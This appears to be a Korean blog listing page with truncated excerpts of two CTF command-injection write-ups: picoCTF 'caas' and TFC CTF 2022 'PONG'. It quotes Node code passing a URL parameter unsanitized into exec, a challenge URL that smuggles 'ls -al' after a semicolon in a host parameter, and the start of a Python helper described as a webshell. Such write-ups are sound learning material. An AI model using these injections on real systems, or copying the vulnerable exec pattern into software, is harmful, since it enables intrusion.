Command injection2 [picoCTF] caas 1. 개요 command injection 2. 분석 주어진 코드를 보면, exec 함수로 차일드 프로세스를 실행시키는데 여기에 시스템 명령어가 삽입되면, 수행 결과를 반환합니다. 다만, exec 함수에 시스템 명령어를 보낼때는 `ls` 와 같이 백틱으로 감싸줘야합니다. const express = require('express'); const app = express(); const { exec } = require('child_process'); app.use(express.static('public')); app.get('/cowsay/:message', (req, res) => { exec(`/usr/games/cowsay ${req.params.message}`, { timeout: 5000 }.. 2023. 4. 28. [TFC CTF 2022] PONG 1. 개요 command injection 문제 2. 분석 커맨드 인젝션 문제이며, 거의 정석입니다. ping 요청 위해 system call을 수행하는데, & 또는 ; 구분자를 사용해서, 커맨드를 연속해서 입력합니다. ls -al; 명령어를 삽입했고, 현재 디렉토리의 파일 목록이 보입니다. http://01.linux.challenges.ctf.thefewchosen.com:57942/index.php?host=127.0.0.1;%20ls%20-al; 명령어 입력하는게 귀찮아서, 파이썬으로 간단한 웹쉘을 만들었습니다. from urllib import parse import requests def parse_cmd(cmd): return parse.quote(cmd, encoding='utf-8') d.. 2022. 7. 30. 이전 1 다음